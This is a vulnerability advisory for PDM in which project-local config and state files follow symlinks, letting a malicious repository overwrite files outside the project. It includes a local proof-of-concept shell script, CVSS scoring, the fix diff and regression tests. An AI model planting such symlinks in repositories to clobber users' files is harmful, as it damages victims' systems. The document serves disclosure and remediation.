PDM: Project-Local State and Config Writes Follow Symlinks
Description
Summary
PDM writes several project-local state or configuration files without symlink protection. If a malicious repository places those files as symlinks, local PDM operations can overwrite the symlink targets.
This creates an arbitrary file clobber primitive relative to the privileges of the invoking user.
Affected
Behavior
- Project-local config writes can affect files outside the repository
- The most stable demonstrated sink is
pdm.toml - Related sinks include
.pdm-pythonand.python-version
Affected
Code
src/pdm/project/config.py:303-350src/pdm/project/core.py:209-217src/pdm/cli/commands/use.py:187-189
Technical
Details
Config.__init__() resolves the project-local pdm.toml path and _save_config() writes to the resolved target. If PROJECT_ROOT/pdm.toml is a symlink to another file, pdm config -l ... updates the target file instead of refusing the write.
The same general problem exists for other project-local persistence paths that are written directly with no lstat / O_NOFOLLOW protection.
For the pdm.toml PoC specifically, the target file must already contain parseable TOML. Otherwise the load step fails before the write path is reached. That parser constraint does not apply to the .pdm-python or .python-version sinks.
Impact
- Arbitrary file clobber as the invoking user
- Destructive modification of local files outside the repository root
- Useful primitive for privilege abuse when
pdmis run in elevated contexts
Reproduction
PoC:
# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
target="$tmpdir/clobbered-target.toml"
cat > "$target" <<'EOF'
[seed]
value = 1
EOF
ln -s "$target" "$tmpdir/pdm.toml"
cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "symlink-clobber-demo"
version = "0.0.1"
EOF
(
cd "$tmpdir" &&
"$PDM_PY" -m pdm config -l venv.in_project false
)
cat "$target"
Expected result:
- A temporary project is created
pdm.tomlis a symlink to another TOML file- Running
pdm config -l venv.in_project falsemodifies the symlink target
Observed output from local validation:
--- target ---
[seed]
value = 1
[venv]
in_project = false
Severity
Medium
CVSS v4.0
- Base score:
6.8(Medium) - Vector:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Rationale:
AV:L: exploitation requires local execution ofpdmagainst an attacker-prepared checkoutAC:L: there is no complex constraint once the symlink sink existsAT:N: no extra prerequisite beyond the victim running the relevant command is requiredPR:N: the attacker does not need prior privileges on the victim systemUI:A: the victim must actively run a command that writes project-local state or configVC:N: the demonstrated issue is a write primitive, not a direct read primitiveVI:H: the attacker can cause unauthorized modification of files outside the repository rootVA:L: file clobber can disrupt local operation, but direct same-step availability impact is lower than a full RCESC:N/SI:N/SA:N: the base score is limited to the directly affected system
Root
Cause
Project-local file sinks are treated as trusted regular files and are written without symlink checks or guarded atomic replacement.
Recommended
Remediation
- Refuse to write project-local config/state files when the destination is a symlink
- Use
lstatandO_NOFOLLOWwhere available - Avoid resolving attacker-controlled project-local paths before writing
- Use atomic temp-file replacement only after confirming the destination is a regular file
Disclosure
Notes
This issue is independent from the code-execution issues above. It is best tracked as a separate CVE candidate because the root cause and remediation are different.
Affected products
2Patches
12cf992eccaf3Merge commit from fork
8 files changed · +157 −8
news/3788.bugfix.md+1 −0 added@@ -0,0 +1 @@ +Refuse to write project-local config and state files (`pdm.toml`, `.pdm-python`, `.python-version`) when the destination is a symlink, preventing an untrusted repository from clobbering files outside the project root.
src/pdm/cli/commands/use.py+2 −2 modified@@ -11,7 +11,7 @@ from pdm.models.python import PythonInfo from pdm.models.venv import get_venv_python from pdm.project import Project -from pdm.utils import is_conda_base_python +from pdm.utils import is_conda_base_python, open_for_write_no_symlink class Command(BaseCommand): @@ -185,7 +185,7 @@ def do_use( ) project.python = selected_python if version_file and project.config["python.use_python_version"]: - with project.root.joinpath(".python-version").open("w") as f: + with open_for_write_no_symlink(project.root.joinpath(".python-version")) as f: f.write(f"{selected_python.major}.{selected_python.minor}\n") if project.environment.is_local: assert isinstance(project.environment, PythonLocalEnvironment)
src/pdm/project/config.py+14 −3 modified@@ -14,6 +14,7 @@ from pdm._types import RepositoryConfig from pdm.compat import tomllib from pdm.exceptions import NoConfigError, PdmUsageError +from pdm.utils import open_for_write_no_symlink REPOSITORY = "repository" SOURCE = "pypi" @@ -302,7 +303,9 @@ def add_config(cls, name: str, item: ConfigItem) -> None: def __init__(self, config_file: Path, is_global: bool = False): self.is_global = is_global - self.config_file = config_file.resolve() + # Keep the path as given (only made absolute) instead of resolving symlinks, + # so a symlinked destination can still be detected and refused on write. + self.config_file = config_file.absolute() self.deprecated = {v.replace: k for k, v in self._config_map.items() if v.replace} self._file_data = load_config(self.config_file) self._data = collections.ChainMap( @@ -332,9 +335,9 @@ def iter_sources(self) -> Iterator[RepositoryConfig]: yield RepositoryConfig(**data, name=name[len(SOURCE) + 1 :], config_prefix=SOURCE) def _save_config(self) -> None: + """Save the changes to the config file.""" import tomlkit - """Save the changed to config file.""" self.config_file.parent.mkdir(parents=True, exist_ok=True) toml_data: dict[str, Any] = {} for key, value in self._file_data.items(): @@ -346,7 +349,15 @@ def _save_config(self) -> None: temp = temp[part] temp[last] = value - with self.config_file.open("w", encoding="utf-8") as fp: + # A project-local pdm.toml may be planted as a symlink by an untrusted + # repository to clobber a file outside the project (GHSA-ghq2-5c67-fprm). + # The global config lives in the user's own config directory and is not + # attacker-controlled, so a user-managed symlink there is honored. + if self.is_global: + writer: Any = self.config_file.open("w", encoding="utf-8") + else: + writer = open_for_write_no_symlink(self.config_file) + with writer as fp: tomlkit.dump(toml_data, fp) def __getitem__(self, key: str) -> Any:
src/pdm/project/core.py+3 −1 modified@@ -40,6 +40,7 @@ is_conda_base_python, is_path_relative_to, normalize_name, + open_for_write_no_symlink, ) if TYPE_CHECKING: @@ -214,7 +215,8 @@ def _saved_python(self, value: str | None) -> None: with contextlib.suppress(FileNotFoundError): python_file.unlink() return - python_file.write_text(value, "utf-8") + with open_for_write_no_symlink(python_file) as fp: + fp.write(value) def resolve_interpreter(self) -> PythonInfo: """Get the Python interpreter path."""
src/pdm/utils.py+30 −1 modified@@ -6,6 +6,7 @@ import atexit import contextlib +import errno import functools import inspect import json @@ -27,7 +28,7 @@ from packaging.version import Version from pdm.compat import importlib_metadata -from pdm.exceptions import PDMDeprecationWarning, PdmException +from pdm.exceptions import PDMDeprecationWarning, PdmException, PdmUsageError if TYPE_CHECKING: from re import Match @@ -170,6 +171,34 @@ def atomic_open_for_write(filename: str | Path, *, mode: str = "w", encoding: st os.unlink(name) +@contextlib.contextmanager +def open_for_write_no_symlink(filename: str | Path, *, encoding: str = "utf-8") -> Iterator[IO[str]]: + """Open *filename* for writing text, refusing to follow a symlink. + + Project-local state and config files (``pdm.toml``, ``.pdm-python``, + ``.python-version``) may be planted as symlinks by an untrusted repository to + redirect the write onto a file outside the project root. This helper rejects + such writes: on POSIX it passes ``O_NOFOLLOW`` so the kernel rejects the open + atomically (no TOCTOU window); on platforms lacking ``O_NOFOLLOW`` it falls + back to a best-effort ``lstat`` pre-check. + """ + path = Path(filename) + nofollow = getattr(os, "O_NOFOLLOW", 0) + if not nofollow and path.is_symlink(): + raise PdmUsageError(f"Refusing to write to {path} because it is a symlink.") + try: + fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC | nofollow, 0o666) + except OSError as exc: + if exc.errno in (errno.ELOOP, errno.EMLINK): + raise PdmUsageError(f"Refusing to write to {path} because it is a symlink.") from exc + raise + fp = open(fd, "w", encoding=encoding) + try: + yield fp + finally: + fp.close() + + @contextlib.contextmanager def cd(path: str | Path) -> Iterator: _old_cwd = os.getcwd()
tests/cli/test_config.py+54 −0 modified@@ -1,6 +1,7 @@ import pytest from pdm.exceptions import PdmUsageError +from pdm.project.config import Config from pdm.utils import cd @@ -231,3 +232,56 @@ def test_keyring_operation_error_disables_itself(project, keyring, mocker): assert not keyring.enabled assert keyring.get_auth_info("pdm-pypi-extra", "foo") is None assert keyring.get_auth_info("pdm-repository-pypi", None) is None + + +def _symlink_or_skip(link, target): + try: + link.symlink_to(target) + except OSError as e: + pytest.skip(f"symlink is not supported: {e}") + + +def test_config_keeps_symlink_path(tmp_path): + target = tmp_path / "target.toml" + target.write_text("python.use_pyenv = false\n") + link = tmp_path / "config.toml" + _symlink_or_skip(link, target) + + config = Config(link) + + # The symlink path is kept (only made absolute), not resolved to the target. + assert config.config_file == link.absolute() + assert config.config_file.is_symlink() + assert config["python.use_pyenv"] is False + + +def test_config_refuses_to_write_symlinked_file(tmp_path): + target = tmp_path / "target.toml" + target.write_text("python.use_pyenv = true\n") + link = tmp_path / "config.toml" + _symlink_or_skip(link, target) + + config = Config(link) + + with pytest.raises(PdmUsageError, match="symlink"): + config["python.use_pyenv"] = False + + # The symlink target outside the intended file is left untouched. + assert target.read_text() == "python.use_pyenv = true\n" + assert link.is_symlink() + + +def test_global_config_writes_through_symlink(tmp_path): + target = tmp_path / "target.toml" + target.write_text("python.use_pyenv = true\n") + link = tmp_path / "config.toml" + _symlink_or_skip(link, target) + + # The global config is the user's own file; a user-managed symlink (e.g. a + # dotfiles-managed config) is honored rather than refused. + config = Config(link, is_global=True) + config["python.use_pyenv"] = False + + assert link.is_symlink() + assert config["python.use_pyenv"] is False + assert "use_pyenv = false" in target.read_text()
tests/test_project.py+19 −1 modified@@ -11,7 +11,7 @@ from pytest_httpserver import HTTPServer from pdm.environments import PythonEnvironment -from pdm.exceptions import PdmException, ProjectError +from pdm.exceptions import PdmException, PdmUsageError, ProjectError from pdm.models.requirements import parse_requirement from pdm.models.specifiers import PySpecSet from pdm.models.venv import get_venv_python @@ -593,3 +593,21 @@ def test_select_lockfile_format(project, pdm, capsys): pdm(["export", "-f", "pylock", "-o", "pylock.toml"], strict=True) project._lockfile = None assert project.lockfile._path.name == "pylock.toml" + + +def test_saved_python_refuses_symlinked_pdm_python(project): + real = project.root / "real-state.txt" + real.write_text("untouched") + link = project.root / ".pdm-python" + link.unlink(missing_ok=True) + try: + link.symlink_to(real) + except OSError as e: + pytest.skip(f"symlink is not supported: {e}") + + with pytest.raises(PdmUsageError, match="symlink"): + project._saved_python = "/some/python" + + # The symlink target outside .pdm-python is left untouched. + assert real.read_text() == "untouched" + assert link.is_symlink()
tests/test_utils.py+34 −0 modified@@ -554,3 +554,37 @@ def now(cls, tz=None): monkeypatch.setattr(utils, "datetime", FrozenDateTime) assert utils.convert_to_datetime(value) == expected_datetime + + +def test_open_for_write_no_symlink_writes_regular_file(tmp_path): + target = tmp_path / "file.txt" + with utils.open_for_write_no_symlink(target) as fp: + fp.write("hello") + assert target.read_text() == "hello" + assert not target.is_symlink() + + +def test_open_for_write_no_symlink_truncates_existing_file(tmp_path): + target = tmp_path / "file.txt" + target.write_text("stale content") + with utils.open_for_write_no_symlink(target) as fp: + fp.write("new") + assert target.read_text() == "new" + + +def test_open_for_write_no_symlink_refuses_symlinked_target(tmp_path): + real = tmp_path / "real.txt" + real.write_text("untouched") + link = tmp_path / "link.txt" + try: + link.symlink_to(real) + except OSError as e: + pytest.skip(f"symlink is not supported: {e}") + + with pytest.raises(PdmUsageError, match="symlink"): + with utils.open_for_write_no_symlink(link): + pass + + # The symlink and its target are both left intact. + assert link.is_symlink() + assert real.read_text() == "untouched"
Vulnerability mechanics
Root cause
"Project-local file sinks are written without symlink checks or guarded atomic replacement."
Attack vector
An attacker prepares a malicious repository containing a symlink for a project-local configuration file, such as `pdm.toml`, that points to an arbitrary target file. When a victim user runs a PDM command that modifies this configuration, such as `pdm config -l venv.in_project false`, PDM writes to the symlink's target instead of refusing the operation. This allows the attacker to overwrite arbitrary files with the privileges of the user running PDM [ref_id=1].
Affected code
The vulnerability lies in the handling of project-local configuration and state files. Specifically, the `Config.__init__()` method resolves the path for `pdm.toml`, and `_save_config()` writes to this resolved target. Similar issues exist in `src/pdm/project/core.py` and `src/pdm/cli/commands/use.py` where other project-local paths are written without sufficient symlink protection [ref_id=1].
What the fix does
The patch modifies PDM to refuse writing to project-local config or state files when the destination is a symlink. It achieves this by using `lstat` to check if the target path is a symlink before proceeding with the write operation. This prevents PDM from overwriting the target of a symlink, thereby closing the arbitrary file clobber vulnerability [patch_id=5507896].
Preconditions
- inputA malicious repository containing a symlink for a project-local configuration file (e.g., `pdm.toml`) pointing to an arbitrary target file.
- inputFor `pdm.toml`, the target file must contain parseable TOML for the load step to succeed before the write occurs.
Reproduction
# CVE-2026-47763 PoC
```bash # Replace this with a Python interpreter that can run `python -m pdm`. PDM_PY=/path/to/python-with-pdm tmpdir=$(mktemp -d) target="$tmpdir/clobbered-target.toml"
cat > "$target" <<'EOF' [seed] value = 1 EOF
ln -s "$target" "$tmpdir/pdm.toml"
cat > "$tmpdir/pyproject.toml" <<'EOF' [project] name = "symlink-clobber-demo" version = "0.0.1" EOF
( cd "$tmpdir" && "$PDM_PY" -m pdm config -l venv.in_project false )
cat "$target" ```
Expected result:
- A temporary project is created - `pdm.toml` is a symlink to another TOML file - Running `pdm config -l venv.in_project false` modifies the symlink target
Observed output from local validation:
```text --- target --- [seed] value = 1
[venv] in_project = false ```
Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.